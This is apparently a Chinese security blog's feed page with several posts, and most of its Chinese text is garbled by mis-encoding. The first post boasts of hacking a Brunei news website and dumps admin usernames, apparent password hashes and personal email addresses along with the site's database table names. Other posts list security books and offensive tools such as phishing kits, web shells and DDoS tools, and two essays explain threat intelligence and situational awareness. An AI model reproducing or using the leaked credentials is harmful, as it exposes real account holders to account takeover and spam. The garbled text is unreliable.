Quantcast
Channel: 🔰雚苁ℒ🔰
Viewing all 323 articles
Browse latest View live
↧

文莱第䞀新闻眑站被黑 brudirect数据泄露

September 18, 2018, 6:20 am
$
0
0

文莱第䞀新闻眑站被黑

文莱第䞀新闻眑站被黑 2018黑垜倧䌚工具枅单-Blackhat

眑址:http://www.brudirect.com/

site:http://www.brudirect.com/ (Brunei's No.1 News Website)
username admin,paswords,confirm paswords,email
Khairul Izwan   izwan   c9d329c0765777980e7c77dfb06ecccb    c9d329c0765777980e7c77dfb06ecccb    izzzwan3@gmail.com
brudirect   brudirect   f0fdd0e77cbdf633b826c34fec10ef3a    f0fdd0e77cbdf633b826c34fec10ef3a    ram86laksh@gmail.com
babypynk    babypynk    897c8fde25c5cc5270cda61425eed3c8    897c8fde25c5cc5270cda61425eed3c8    babypynk@gmail.com
brudirect   brudirect   d8600f103434f9ef240b73b5c8eac220    d8600f103434f9ef240b73b5c8eac220    ram86laksh@gmail.com
kalis       kalis       1cdf846eb3e43d5efe1ff2732f88fd7e    1cdf846eb3e43d5efe1ff2732f88fd7e    admin@ brudirect.com
vulnerablity:http://prntscr.com/jarjnp
brudirec_2k16db:
54vxsya_banner
54vxsya_comics
54vxsya_dprayertimes
54vxsya_erates
54vxsya_events
54vxsya_ferryschedules
54vxsya_flightschedules
54vxsya_greetings
54vxsya_marquee
54vxsya_movieschedules
54vxsya_news
54vxsya_photooftheday
54vxsya_poll
54vxsya_prayertimes
54vxsya_psi
54vxsya_quote
54vxsya_season
54vxsya_sungkaipromo
54vxsya_user
54vxsya_videooftheweek
54vxsya_weatherforecast
counter_ips
counter_values

 

The post 文莱第䞀新闻眑站被黑 brudirect数据泄露 appeared first on 🔰雚苁ℒ🔰.

↧
Search

信息安党乊籍 林透剖析 黑客笔记 挏掞检测

September 19, 2018, 8:24 pm
$
0
0

信息安党乊籍

信息安党乊籍 暗眑眑址倧党

区块铟安党乊籍

红日安党Papers

红日安党䞓刊

安党䌘秀电子Papers

攻防比赛CTF – Writeup

信息安党乊籍 Web安党乊籍

  • Online-WebBook – SQL基础教皋
  • Online-WebBook – SQL泚入攻击䞎防埡
  • Online-WebBook – Web Hacking 101 䞭文版
  • Online-WebBook – Kali Linux Web林透测试秘籍 䞭文版
  • Online-WebBook – Kali Linux burpsuite实战指南
  • Online-WebBook – 林透测试Node.js应甚
  • Online-WebBook – Web安党资料和资源列衚
  • Online-WebBook – Kali Linux Web 林透测试秘籍 䞭文版
  • Online-WebBook – 做奜新型信息技术发展应甚的信息安党等级保技工䜜
  • Online-WebBook – 欺骗的艺术
  • Online-WebBook – HTTP权嚁指南
  • Online-WebBook – Web安党林透剖析
  • Online-WebBook – Web前端黑客技术揭秘
  • Online-WebBook – Web应甚安党嚁胁䞎防治
  • Online-WebBook – Web应甚挏掞䟊测䞎防埡
  • Online-WebBook – 癜垜子讲web安党
  • Online-WebBook – 黑客林透笔记完敎版

Wi-Fi安党乊籍

  • Online-Wi-FiBook – Kali Linux 无线林透测试入闚指南 䞭文版
  • Online-Wi-FiBook – 无线眑络安党攻防实战进阶

POC猖写安党乊籍

PHP代码审计安党乊籍

Android安党乊籍

  • Online-AndroidBook – Android 林透测试孊习手册 䞭文版
  • Online-AndroidBook – Android 林透测试攻防实战䞭文版
  • Online-AndroidBook – OWASP TOP10移劚安党挏掞安卓

 信息安党乊籍 Python猖皋乊籍

安党䌚议PPT

安党运绎

  • Online-Report – 日志分析技巧分享
  • Online-Report – 日志管理䞎分析权嚁指南

信息安党乊籍 林透测试乊籍

眑络安党分析乊籍 信息安党乊籍

逆向安党乊籍

瀟䌚工皋垈乊籍

信息安党乊籍 掚荐乊籍列衚

The post 信息安党乊籍 林透剖析 黑客笔记 挏掞检测 appeared first on 🔰雚苁ℒ🔰.

↧
↧

信息安党资源汇总 林透测试靶场 黑客工具

September 19, 2018, 8:38 pm
$
0
0

信息安党资源汇总

信息安党资源汇总 : 林透测试工具

林透测试靶场 黑客工具 Web安党视频 林透测试资源 林透测试思绎富囟 CTF思绎富囟 基于docker林透测试平台 POC&EXP收集 挏掞扫描神噚 代码审计 眑络安党扫描工具 无线眑络扫描工具 瀟䌚工皋孊工具 逆向分析工具 圚线挏掞列衚 信息安党䌚议 信息安党杂志

圚线资源 信息安党资源汇总

Web安党视频

林透测试靶场

  • WebGoat – WebGoat挏掞练习环境
  • Damn Vulnerable Web Application – Damn Vulnerable Web Application(挏掞练习平台)
  • sqli-labs – 数据库泚入练习平台
  • kali-linux – kali linux安装教皋

林透测试资源 信息安党资源汇总

  • Metasploit Unleashed – 免莹的metasploit教皋
  • PTES – 林透测试执行标准
  • OWASP – 匀攟匏Web应甚皋序安党项目
  • PENTEST-WIKI – 匀源安党测试方法手册
  • Vulnerability Assessment Framework – 林透测试框架
  • XSS-Payloads – Xss构造语句

JavaWeb资源

  • Java-Web-Videos – 【第䞀阶段】JavaWeb基础
  • Java-Web-Videos – 【第二阶段】JavaWeb进阶
  • Java-Web-Videos – 【第䞉阶段】Mysql&jdbc
  • Java-Web-Videos – 【第四阶段】Linux

林透测试思绎富囟

Web安党思绎富囟

  • Web-Security – Web安党思绎富囟

移劚安党思绎富囟

安党匀发思绎富囟

  • Security – 安党匀发思绎富囟

CTF思绎富囟 信息安党资源汇总

  • Security – CTF思绎富囟

䞚务安党思绎富囟

  • Security – 䞚务安党思绎富囟

基于docker林透测试平台

Web挏掞docker平台

䞻机挏掞docker平台 信息安党资源汇总

基于Python语蚀POC&EXP收集

  • ActiveMQ – ActiveMQ的PUT 䞊䌠getshellExP CVE-2016-3088

Exploit 信息安党资源汇总

瀟䌚工皋孊 信息安党资源汇总

安党工具

集成林透测试工具

  • Kali – 䞀䞪Linux发行版甚来做数字取证和林透测试。
  • ArchStrike – Arch GNU/Linux repository for security professionals and enthusiasts.
  • BlackArch – Arch GNU/Linux-based distribution for penetration testers and security researchers.
  • Network Security Toolkit (NST) – 眑络安党工具包发行版
  • Pentoo -着県于安党的基于Gentoo的 LiveCD
  • BackBox – 基于Ubuntu的发行版甚于林透测试及安党评䌰
  • Parrot – Distribution similar to Kali, with multiple architecture.
  • Buscador – GNU/Linux virtual machine that is pre-configured for online investigators.
  • Fedora Security Lab – Provides a safe test environment to work on security auditing, forensics, system rescue and teaching security testing methodologies.
  • The Pentesters Framework – Distro organized around the Penetration Testing Execution Standard (PTES), providing a curated collection of utilities that eliminates often unused toolchains.

林透测试神噚 信息安党资源汇总

  • Metasploit Framework – 应甚最广的林透测试蜯件
  • burp suite – 抓包工具针对Web应甚执行安党检测
  • ExploitPack – Graphical tool for penetration testing with a bunch of exploits.
  • BeEF – Command and control server for delivering exploits to commandeered Web browsers.
  • faraday – Collaborative penetration test and vulnerability management platform.
  • evilgrade – The update explotation framework.
  • routersploit – Automated penetration testing software for router.
  • redsnarf – Post-exploitation tool for grabbing credentials.
  • Bella – Pure Python post-exploitation data mining & remote administration tool for Mac OS.
  • Offensive Web Testing Framework (OWTF) – Python-based framework for pentesting Web applications based on the OWASP Testing Guide.

基于docker林透测试工具

挏掞扫描神噚 信息安党资源汇总

  • Nexpose – 挏掞管理&风险控制蜯件
  • Nessus – 挏掞配眮和合规检测
  • OpenVAS – 匀源挏掞扫描噚
  • Vuls – Agentless vulnerability scanner for GNU/Linux and FreeBSD, written in Go.

代码审计 信息安党资源汇总

  • Brakeman – Static analysis security vulnerability scanner for Ruby on Rails applications.
  • cppcheck – Extensible C/C++ static analyzer focused on finding bugs.
  • FindBugs – Free software static analyzer to look for bugs in Java code.
  • sobelow – Security-focused static analysis for the Phoenix Framework.

Web安党扫描工具 信息安党资源汇总

  • Nikto – Web服务噚和Web应甚皋序挏掞扫描皋序
  • Arachni – Scriptable framework for evaluating the security of web applications.
  • w3af – Web应甚皋序攻击和审计框架
  • Wapiti – Black box web application vulnerability scanner with built-in fuzzer.
  • SecApps – In-browser web application security testing suite.
  • WebReaver – Commercial, graphical web application vulnerability scanner designed for macOS.
  • WPScan – 黑盒wordpress扫描工具
  • cms-explorer – Reveal the specific modules, plugins, components and themes that various websites powered by content management systems are running.
  • joomscan – Joomla vulnerability scanner.

眑络安党扫描工具

  • zmap – 匀源眑络端口扫描噚
  • nmap – 免莹的安党扫描噚甚于眑络勘测和安党审计
  • pig – GNU/Linux packet crafting tool.
  • scanless – Utility for using websites to perform port scans on your behalf so as not to reveal your own IP.
  • tcpdump/libpcap – Common packet analyzer that runs under the command line.
  • Wireshark – 䞀䞪Unix和Windows系统的䌠蟓协议分析工具
  • Network Tools – Different network tools: ping, lookup, whois, etc.
  • netsniff-ng – Swiss army knife for for network sniffing.
  • Intercepter-NG – Multifunctional network toolkit.
  • SPARTA – Network infrastructure penetration testing tool.
  • dnschef – Highly configurable DNS proxy for pentesters.
  • DNSDumpster – Online DNS recon and search service.
  • CloudFail – Unmask server IP addresses hidden behind Cloudflare by searching old database records and detecting misconfigured DNS.
  • dnsenum – Perl script that enumerates DNS information from a domain, attempts zone transfers, performs a brute force dictionary style attack, and then performs reverse look-ups on the results.
  • dnsmap – Passive DNS network mapper.
  • dnsrecon – DNS enumeration script.
  • dnstracer – Determines where a given DNS server gets its information from, and follows the chain of DNS servers.
  • passivedns-client – Library and query tool for querying several passive DNS providers.
  • passivedns – Network sniffer that logs all DNS server replies for use in a passive DNS setup.
  • Mass Scan – TCP port scanner, spews SYN packets asynchronously, scanning entire Internet in under 5 minutes.
  • Zarp – Network attack tool centered around the exploitation of local networks.
  • mitmproxy – Interactive SSL-capable intercepting HTTP proxy for penetration testers and software developers.
  • Morpheus – Automated ettercap TCP/IP Hijacking tool.
  • mallory – HTTP/HTTPS proxy over SSH.
  • SSH MITM – Intercept SSH connections with a proxy; all plaintext passwords and sessions are logged to disk.
  • Netzob – Reverse engineering, traffic generation and fuzzing of communication protocols.
  • DET – Proof of concept to perform data exfiltration using either single or multiple channel(s) at the same time.
  • pwnat – Punches holes in firewalls and NATs.
  • dsniff – Collection of tools for network auditing and pentesting.
  • tgcd – Simple Unix network utility to extend the accessibility of TCP/IP based network services beyond firewalls.
  • smbmap – Handy SMB enumeration tool.
  • scapy – Python-based interactive packet manipulation program & library.
  • Dshell – Network forensic analysis framework.
  • Debookee (macOS) – Intercept traffic from any device on your network.
  • Dripcap – Caffeinated packet analyzer.
  • PRET – Printer Exploitation Toolkit offers commands useful for printer attacks and fuzzing.
  • Praeda – Automated multi-function printer data harvester for gathering usable data during security assessments.

无线眑络扫描工具 信息安党资源汇总

  • Aircrack-ng – Set of tools for auditing wireless networks.
  • Kismet – Wireless network detector, sniffer, and IDS.
  • Reaver – Brute force attack against WiFi Protected Setup.
  • Wifite – Automated wireless attack tool.

SSL扫描分析工具

  • SSLyze – SSL configuration scanner.
  • sslstrip – Demonstration of the HTTPS stripping attacks.
  • sslstrip2 – SSLStrip version to defeat HSTS.
  • tls_prober – Fingerprint a server’s SSL/TLS implementation.

Web exploitation 信息安党资源汇总

  • OWASP Zed Attack Proxy (ZAP) – Feature-rich, scriptable HTTP intercepting proxy and fuzzer for penetration testing web applications.
  • Fiddler – Free cross-platform web debugging proxy with user-friendly companion tools.
  • Burp Suite – Integrated platform for performing security testing of web applications.
  • autochrome – Easy to install a test browser with all the appropriate setting needed for web application testing with native Burp support, from NCCGroup.
  • WordPress Exploit Framework – Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems.
  • WPSploit – Exploit WordPress-powered websites with Metasploit.
  • SQLmap – Automatic SQL injection and database takeover tool.
  • tplmap – Automatic server-side template injection and Web server takeover tool.
  • weevely3 – Weaponized web shell.
  • Wappalyzer – Wappalyzer uncovers the technologies used on websites.
  • WhatWeb – Website fingerprinter.
  • BlindElephant – Web application fingerprinter.
  • wafw00f – Identifies and fingerprints Web Application Firewall (WAF) products.
  • fimap – Find, prepare, audit, exploit and even Google automatically for LFI/RFI bugs.
  • Kadabra – Automatic LFI exploiter and scanner.
  • Kadimus – LFI scan and exploit tool.
  • liffy – LFI exploitation tool.
  • Commix – Automated all-in-one operating system command injection and exploitation tool.
  • DVCS Ripper – Rip web accessible (distributed) version control systems: SVN/GIT/HG/BZR.
  • GitTools – Automatically find and download Web-accessible .git repositories.

Hex Editors 信息安党资源汇总

  • HexEdit.js – Browser-based hex editing.
  • Hexinator – World’s finest (proprietary, commercial) Hex Editor.
  • Frhed – Binary file editor for Windows.

文件蜬换分析工具

  • Kaitai Struct – File formats and network protocols dissection language and web IDE, generating parsers in C++, C#, Java, JavaScript, Perl, PHP, Python, Ruby.
  • Veles – Binary data visualization and analysis tool.
  • Hachoir – Python library to view and edit a binary stream as tree of fields and tools for metadata extraction.

Hash砎解工具 信息安党资源汇总

  • John the Ripper – Fast password cracker.
  • Hashcat – The more fast hash cracker.
  • CeWL – Generates custom wordlists by spidering a target’s website and collecting unique words.

DDoS工具 信息安党资源汇总

  • LOIC – Open source network stress tool for Windows.
  • JS LOIC – JavaScript in-browser version of LOIC.
  • SlowLoris – DoS tool that uses low bandwidth on the attacking side.
  • HOIC – Updated version of Low Orbit Ion Cannon, has ‘boosters’ to get around common counter measures.
  • T50 – Faster network stress tool.
  • UFONet – Abuses OSI layer 7 HTTP to create/manage ‘zombies’ and to conduct different attacks using; GET/POST, multithreading, proxies, origin spoofing methods, cache evasion techniques, etc.

瀟䌚工皋孊工具

  • Social Engineer Toolkit (SET) – Open source pentesting framework designed for social engineering featuring a number of custom attack vectors to make believable attacks quickly.
  • King Phisher – Phishing campaign toolkit used for creating and managing multiple simultaneous phishing attacks with custom email and server content.
  • Evilginx – MITM attack framework used for phishing credentials and session cookies from any Web service.
  • wifiphisher – Automated phishing attacks against WiFi networks.
  • Catphish – Tool for phishing and corporate espionage written in Ruby.

逆向分析工具

  • IDA Pro – Windows, GNU/Linux or macOS hosted multi-processor disassembler and debugger.
  • IDA Free – The freeware version of IDA v5.0.
  • WDK/WinDbg – Windows Driver Kit and WinDbg.
  • OllyDbg – x86 debugger for Windows binaries that emphasizes binary code analysis.
  • Radare2 – Open source, crossplatform reverse engineering framework.
  • x64dbg – Open source x64/x32 debugger for windows.
  • Immunity Debugger – Powerful way to write exploits and analyze malware.
  • Evan’s Debugger – OllyDbg-like debugger for GNU/Linux.
  • Medusa disassembler – Open source interactive disassembler.
  • plasma – Interactive disassembler for x86/ARM/MIPS. Generates indented pseudo-code with colored syntax code.
  • peda – Python Exploit Development Assistance for GDB.
  • dnSpy – Tool to reverse engineer .NET assemblies.

CTF工具 信息安党资源汇总

  • ctf-tools – Collection of setup scripts to install various security research tools easily and quickly deployable to new machines.
  • Pwntools – Rapid exploit development framework built for use in CTFs.
  • RsaCtfTool – Decrypt data enciphered using weak RSA keys, and recover private keys from public keys using a variety of automated attacks.

圚线挏掞掚荐列衚 信息安党资源汇总

  • Common Vulnerabilities and Exposures (CVE) – Dictionary of common names (i.e., CVE Identifiers) for publicly known security vulnerabilities.
  • National Vulnerability Database (NVD) – United States government’s National Vulnerability Database provides additional meta-data (CPE, CVSS scoring) of the standard CVE List along with a fine-grained search engine.
  • US-CERT Vulnerability Notes Database – Summaries, technical details, remediation information, and lists of vendors affected by software vulnerabilities, aggregated by the United States Computer Emergency Response Team (US-CERT).
  • Full-Disclosure – Public, vendor-neutral forum for detailed discussion of vulnerabilities, often publishes details before many other sources.
  • Bugtraq (BID) – Software security bug identification database compiled from submissions to the SecurityFocus mailing list and other sources, operated by Symantec, Inc.
  • Exploit-DB – Non-profit project hosting exploits for software vulnerabilities, provided as a public service by Offensive Security.
  • Microsoft Security Bulletins – Announcements of security issues discovered in Microsoft software, published by the Microsoft Security Response Center (MSRC).
  • Microsoft Security Advisories – Archive of security advisories impacting Microsoft software.
  • Mozilla Foundation Security Advisories – Archive of security advisories impacting Mozilla software, including the Firefox Web Browser.
  • Packet Storm – Compendium of exploits, advisories, tools, and other security-related resources aggregated from across the industry.
  • CXSecurity – Archive of published CVE and Bugtraq software vulnerabilities cross-referenced with a Google dork database for discovering the listed vulnerability.
  • SecuriTeam – Independent source of software vulnerability information.
  • Vulnerability Lab – Open forum for security advisories organized by category of exploit target.
  • Zero Day Initiative – Bug bounty program with publicly accessible archive of published security advisories, operated by TippingPoint.
  • Vulners – Security database of software vulnerabilities.
  • Inj3ct0r (Onion service) – Exploit marketplace and vulnerability information aggregator.
  • Open Source Vulnerability Database (OSVDB) – Historical archive of security vulnerabilities in computerized equipment, no longer adding to its vulnerability database as of April, 2016. Continued by Risk Based Security as a commercial VDB.

安党诟皋

信息安党䌚议 信息安党资源汇总

  • DEF CON – Annual hacker convention in Las Vegas.
  • Black Hat – Annual security conference in Las Vegas.
  • BSides – Framework for organising and holding security conferences.
  • CCC – Annual meeting of the international hacker scene in Germany.
  • DerbyCon – Annual hacker conference based in Louisville.
  • PhreakNIC – Technology conference held annually in middle Tennessee.
  • ShmooCon – Annual US East coast hacker convention.
  • CarolinaCon – Infosec conference, held annually in North Carolina.
  • CHCon – Christchurch Hacker Con, Only South Island of New Zealand hacker con.
  • SummerCon – One of the oldest hacker conventions, held during Summer.
  • Hack.lu – Annual conference held in Luxembourg.
  • Hackfest – Largest hacking conference in Canada.
  • HITB – Deep-knowledge security conference held in Malaysia and The Netherlands.
  • Troopers – Annual international IT Security event with workshops held in Heidelberg, Germany.
  • Hack3rCon – Annual US hacker conference.
  • ThotCon – Annual US hacker conference held in Chicago.
  • LayerOne – Annual US security conference held every spring in Los Angeles.
  • DeepSec – Security Conference in Vienna, Austria.
  • SkyDogCon – Technology conference in Nashville.
  • SECUINSIDE – Security Conference in Seoul.
  • DefCamp – Largest Security Conference in Eastern Europe, held anually in Bucharest, Romania.
  • AppSecUSA – Annual conference organised by OWASP.
  • BruCON – Annual security conference in Belgium.
  • Infosecurity Europe – Europe’s number one information security event, held in London, UK.
  • Nullcon – Annual conference in Delhi and Goa, India.
  • RSA Conference USA – Annual security conference in San Francisco, California, USA.
  • Swiss Cyber Storm – Annual security conference in Lucerne, Switzerland.
  • Virus Bulletin Conference – Annual conference going to be held in Denver, USA for 2016.
  • Ekoparty – Largest Security Conference in Latin America, held annually in Buenos Aires, Argentina.
  • 44Con – Annual Security Conference held in London.
  • BalCCon – Balkan Computer Congress, annualy held in Novi Sad, Serbia.
  • FSec – FSec – Croatian Information Security Gathering in VaraÅŸdin, Croatia.

信息安党杂志 信息安党资源汇总

The post 信息安党资源汇总 林透测试靶场 黑客工具 appeared first on 🔰雚苁ℒ🔰.

↧

什么是嚁胁情报 挏掞库 指纹库 IP信誉库

September 20, 2018, 5:43 am
$
0
0

什么是嚁胁情报 387䞪暗眑眑址

什么是嚁胁情报 其实安党圈䞀盎圚䜿甚着它们挏掞库、指纹库、IP信誉库它们郜是嚁胁情报的䞀郚分。情报就是线玢嚁胁情报就是䞺了还原已发生的攻击和预测未发生的攻击所需芁的䞀切线玢。“所谓的嚁胁情报就是垮助我们发现嚁胁并进行倄眮的盞应知识。这种知识就是我们所诎的嚁胁情报”。

互联眑安党曟经历经了流氓互殎䟠客对决、黑瀟䌚火并等等阶段现圚已经圢成了攻击者有组织有预谋防埡者有䟊查有战术的局面——无论是攻击还是防埡郜超越了点对点的战术而越来越倚仗于党面的战法。简单来诎就是搞安党的䞍仅芁看猖皋指南还芁看孙子兵法了。既然是正规军对垒战法就芁变埗盞对立䜓。所谓知己知圌癟战䞍殆。嚁胁情报就像是八癟里加急快报送来的敌情。

二战䞭盟军䟝靠计算机之父囟灵的倩才砎解了執囜的密码埗知執囜马䞊芁对考文垂进行蜰炞。䜆是䞺了争取曎倧的决定性胜利盟军选择䞍让執囜人知道对手已经砎译了其密码。因歀盟军方面没有对考文垂进行有针对性的的防埡措斜。于是執囜人盞信其密码䟝然是安党的从而䞀步步走进了盟军的圈套。

圚嚁胁情报䞭安党公叞同样运甚类䌌的方法和黑客斗法。䟋劂穿梭各倧安党论坛装䜜黑客的样子匀心地䞎之讚论最近哪种攻击方匏最流行有哪些挏掞可以利甚。然后回家修补挏掞。

于是通过嚁胁情报䌁䞚䌚对未来的攻击拥有免疫力这就圻底改变了原本的攻防态势。原来也讞黑客可以甚䞊敎敎䞀幎的攻击手段䞀旊进入嚁胁情报就被重点监控。劂果攻击者第二次还圚甚同样的后闚就等于䞻劚跑到了探照灯䞋。

某倧神爆料目前矎囜正圚有计划有组织地曝光其他囜家对其基础讟斜发劚的攻击。这句话让人细思极恐这衚明矎囜已经拥有了䞀仜粟准的嚁胁情报对其攻击者的攻击路埄已经了劂指掌。䞺了䞍打草惊蛇其䞭有60%-70%的攻击路埄矎囜并没有曝光。没错矎囜正圚静静地看对手装X。

讲了什么是嚁胁情报接䞋来诎嚁胁情报有什么甚嚁胁情报给谁甚

从䞪人角床劂果提䟛代理IP刷流量的人想芁绕过IP限制劂果提䟛僵尞眑络IP安党防埡者想芁其实攻击者也想芁攻击者芁的总是比防埡者倚所以Ta们曎胜蟟到目的。从公叞角床而蚀先诎项目之闎做WAF的、做扫描噚的、做挏掞管理平台的可以亀换挏掞信息做杀毒的和入䟵检测的可以亀换恶意样本信息做䞚务欺诈的和做眑络攻防的可以亀换IP信誉信息这些郜是䞺了做到内郚资源扫描噚WAFIPS等安党组件甚至倖郚资源匀源资源集合、厂商资源亀换的敎合现状是公叞越倧这些信息越碎片化敎合才胜起到协同防埡的效果才胜有胜力地进行深床分析去发现真正有价倌的攻击事件䞎高级的隟以发现的APT定点攻击事件。

过去我们将倪倚的粟力攟圚实时防埡䞊面䜆并没有将嚁胁完党挡䜏这䞪时代已经过去了。我们需芁建立䞀䞪完敎的防埡䜓系从防埡、检测到响应甚至通过嚁胁情报将攻击事件的预测做起来而这䞀切的栞心就是芁掌握海量的数据并具倇区倧的数据分析胜力。嚁胁情报是面向新的嚁胁圢匏防埡思路从过去的基于挏掞䞺䞭心的方法进化成基于嚁胁䞺䞭心的方法的必然结果它和倧数据安党分析、基于攻击铟的纵深防埡等思想正圚圢成新䞀代的防埡䜓系的基石。

嚁胁情报可以垮助人们解决劂䞋问题

  • 劂䜕跟埗䞊包括恶意攻击、攻击方法、安党挏掞、黑客目标等等圚内的劂朮氎般海量的安党嚁胁信息
  • 面对未来的安党嚁胁劂䜕获取曎倚的䞻劚
  • 劂䜕向领富汇报具䜓安党嚁胁的危险和圱响

from

“嚁胁情报”到底是什么鬌

简单来诎嚁胁情报就可以垮助人们识别安党嚁胁并做出明确决定的知识

嚁胁情报最近倇受关泚。尜管对于嚁胁情报到底是什么有着讞倚䞍同的定义䜆以䞋几条华是经垞被匕甚的诎法

嚁胁情报是埪证知识包括环境、机制、指标、意义和可行性建议现有的或新兎的、对资产的嚁胁或危害可甚于䞻䜓对嚁胁或危害的反应做出明确决定。

 

嚁胁情报就是收集、评䌰和应甚关于安党嚁胁、嚁胁分子、攻击利甚、恶意蜯件、挏掞和挏掞指标的数据集合。

 

䞺什么人人郜圚谈论“嚁胁情报”

据《嚁瑞森2015幎数据砎坏调查报告》预计2015幎将发生安党事垮79790起造成7亿条数据记圕泄露经济损倱高蟟4亿矎元。

只芁安党嚁胁和数据泄露䞍断发生任䜕䌁䞚郜䌚想法讟法去保技自己的数据。嚁胁态势总是䞍断变化因䞺我们对IT系统的䟝赖我们的䞚务风险也圚䞍断增加,。

既有来自内郚的安党嚁胁也有来自倖郚的安党嚁胁。各单䜍䞺了有效地管理嚁胁䞀盎承受着巚倧的压力几乎䞍堪重莟。尜管原始数据的信息唟手可埗䞔耗时埈隟䜆芁获埗基于可讟眮有效衡量标准的有意义的信息华䞍是那么容易的事而䞔耗时耗力。

这自然就把越来越倚的甚户掚向了嚁胁情报因䞺它有助于圚海量数据、譊报和攻击䞭对嚁胁进行䌘先级排列并提䟛可操䜜的信息。

䞋衚给出了几种可以由嚁胁情报源进行识别的垞见的挏掞指标

类别眑络

挏掞指标

  • IP地址
  • 眑址
  • 域名

实䟋恶意蜯件感染䞎已知的䞍法分子进行通讯的目标内郚䞻机

类别电子邮件

挏掞指标

  • 发件人邮件地址和邮件䞻题
  • 邮件䞭的附件
  • 邮件䞭的铟接

实䟋眑络钓鱌通过内郚䞻机尝试点击毫无戒心的电子邮件并回䌠至恶意的呜什䞎控制服务噚

类别基于䞻机

挏掞指标

  • 文件名和文件哈垌衚䟋劂MD5
  • 泚册衚键
  • 劚态铟接库DLL
  • 互斥对象名

实䟋来自可胜䌚自我感染或已经感染的䞻机的倖郚攻击

嚁胁情报胜力

攻击可以倧臎園䞺基于甚户、基于应甚皋序和基于基础讟斜的嚁胁。䞀些最垞见的嚁胁包括SQL泚入、DDoS、web应甚攻击和眑络钓鱌攻击等等。

拥有䞀套可以提䟛情报胜力通过䞻劚出击和及时响应来管理这些攻击的安党解决方案是至关重芁的。攻击者䞍断改变其方法来挑战安党系统。因歀对于各单䜍来诎就䞍可避免地芁从各种各样的来源获取嚁胁情报。

䞀种被证明行之有效的掌控攻击的方法就是通过安党信息和事件管理系统SIEM来发现和应对嚁胁。安党信息和事件管理系统可以甚来远螪环境䞭所发生的䞀切识别匂垞掻劚。孀立事件可胜看起来无关玧芁䜆䞎事件和嚁胁情报关联起来䜠䌚发现环境䞭到底发生了什么。

劂今IT安党䞓家必须芁圚假定发生数据泄露的心态䞋工䜜。比蟃嚁胁情报䞭针对已知䞍法分子的监控流量来自有助于识别恶意掻劚。

然而这样的措斜可胜需芁手劚操䜜而䞔耗时耗力。将基于嚁胁情报的指标集成到䞀套安党信息和事件管理系统安党解决方案将有助于识别受损系统甚至可胜阻止郚分攻击。

最䜳实践

通过敎合嚁胁情报和应对袭击对抗栌局䞍断变化的嚁胁是远远䞍借的。䜠需芁分析圢势确定可胜面䞎的嚁胁圚歀基础䞊提出预防措斜。

这里有几条最䜳实践谚䟛参考

  • 拥有䞀仜应甚皋序癜名单和黑名单。这䌚有助于防止恶意的或未经批准的皋序的执行包括DLL文件、脚本和安装皋序。
  • 仔细检查日志看看未遂袭击是䞍是孀立事件或者该挏掞之前是吊被利甚过。
  • 确定未遂攻击䞭发生了哪些变曎。
  • 审计日志并确定歀事件䞺什么事件发生——原因可以倧到系统挏小到驱劚过时。

嚁胁情报䞺安党信息和事件管理系统垊来了什么

类䌌SolarWinds日志事件管理噚之类的安党信息和事件管理系统从监控流量䞭收集和规范日志数据并对可疑事件自劚进行标记。

有了集成嚁胁情报机制和内眮规则监控事件可以对䞍断曎新的已知嚁胁列衚进行比对。

悚可以通过实时日志数据快速搜玢并监控来自攻击的点击识别垞见的挏掞指标。

悚可以对已知恶意IP地址自劚响应以防恶意攻击的䌁囟。

from

The post 什么是嚁胁情报 挏掞库 指纹库 IP信誉库 appeared first on 🔰雚苁ℒ🔰.

↧

什么是态势感知 防患于未然 预譊 预测

September 20, 2018, 9:39 am
$
0
0

什么是态势感知 攻击比特垁亀易所

什么是态势感知

态势感知 具䜓是研究哪些内容?銖先芁做的圓然是芁去癟床䞀䞋癟床癟科䞊只给了䞀句话——“圚倧规暡系统环境䞭对胜借匕起系统态势发生变化的安党芁玠进行获取、理解、星瀺以及预测未来的发展趋势。”䞋面我就通过我的搜玢和总结简单梳理䞀䞋到底什么是态势感知眑络安党方向。

所谓眑络态势是指由各种眑络讟倇运行状况、眑络行䞺以及甚户行䞺等因玠所构成的敎䞪眑络圓前状态和变化趋势。眑络态势感知是指圚倧规暡眑络环境䞭对胜借匕起眑络态势发生变化的安党芁玠进行获取、理解、星瀺以及预测最近的发展趋势。

“态势”䞍是“事件”

“小李隔壁老王趁䜠䞊班去䜠家了”—— 这是事件

　　“小李我感觉隔壁老王看䜠老婆的県神䞍倪对䜠芁倚关泚” —— 这是态势

所以可以诎事件是必然性的结果即䟿是预测事件也应该是粟确床蟃高的䞀种掚测 —— 这曎像是甚数孊公匏掚算出䞀䞪确定性的数字。而态势是趋势加䞊感知䞀䞪字后那就是对趋势的预测。

“态势”䞎“情报”

情报是䞀种基于公匀或非公匀信息的必然性蟃高的预测。

眑络安党态势感知包括䞉䞪级别第䞀是胜借感知攻击的存圚第二是胜借识别攻击者或攻击的意囟最高级别是风险评䌰通过对攻击者行䞺的分析评䌰该行䞺包括预期的后续劚䜜对眑络系统有什么危害从而䞺决策提䟛重芁的䟝据。

越来越倚的讟倇接入互联眑所产生的数据量是非垞庞倧的倧数据所蕎含的价倌是无穷的我们可以利甚倧数据进行商䞚价倌分析攻击者也可以利甚倧数据进行砎坏。而态势感知圚我看来就是倧数据䞎安党防技的结合。

基于倧数据的党眑安党态势感知技术是未来信息安党发展的䞀䞪方向。劂今信息安党所面䞎的嚁胁和挑战已经䞊升到了曎高的层面眑络战早已䞍再是䌠诎这给安党防技垊来了非垞倧的挑战圚倧规暡的APT攻击䞋没有哪家䌁䞚和䞪人胜借抵埡䜏劂歀规暡的攻击因歀安党防埡也需芁做到党眑联劚、共同防埡。

倧数据安党态势感知通过郚眲圚党囜各地的监测节点可以对党眑进行实时的监控对于可胜出现的攻击行䞺进行预譊对甚户的眑络安党做到规暡化防技。规暡化的防技从䞉䞪方面来实现䞀是云防技眑络通过圚党囜郚眲的云防技节点对甚户系统提䟛抗DDOS、应甚层安党防技、重倧安党事件预譊等功胜;二是流量枅掗䞺甚户系统提䟛枅掗防技讟倇进行可管理的防埡和监控;䞉是蜜眐监测通过构建蜜眐对䌗倚的攻击和林透进行诱捕对新样本进行采集降䜎风险同步收集最新的安党态势等信息。

from

态势感知是什么?

态势感知的抂念最早是由矎囜空军提出是䞺提升空战胜力分析空战环境信息、快速刀断圓前及未来圢势以䜜出正确反应而进行的研究探玢。

